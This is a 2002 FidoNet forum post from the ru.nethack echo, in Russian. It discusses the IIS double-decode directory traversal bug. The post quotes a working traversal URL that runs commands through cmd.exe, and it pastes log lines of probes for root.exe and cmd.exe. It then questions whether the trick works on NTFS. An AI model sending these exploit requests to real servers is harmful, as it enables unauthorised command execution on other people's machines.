|
ru.nethack
- RU.NETHACK -------------------------------------------------------------------
From : Grigory Tsukanov 2:5006/17.13 08 Aug 2002 09:42:21
To : Fedor Kudryashev
Subject : психология etc
--------------------------------------------------------------------------------
LZ>>> для Escaped Characters Decoding Bug не нyжно ничего, кpоме
LZ>>> бpаyзеpа. Содеpжимое наиболее интеpесных каталогов:
GT>> и как их прочесть?
FK> http://iis.IP.or.name/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+
FK> \winnt\ Вот ыопрос что с ними потом делать?
кусок лога
/scripts/root.exe?/c+dir
/MSADC/root.exe?/c+dir
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
ну и т.п.
как видим запускается родной cmd.exe
если на диске C: стоит FAT , то работает.
в случае NTFS system32 по умолчанию для юзера, пришедшего с IIS закрыт.
код не сработает, даже если на IIS разрешен запуск приложений.
или я где-то заблуждаюсь?
Grigory
... " http://gsoft.newmail.ru; http://www.nvkz.kuzbass.net/comics "
--- GoldED/W32 3.00.Beta4+
* Origin: иногда я просматриваю cukanovg@mail.ru (2:5006/17.13)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
|
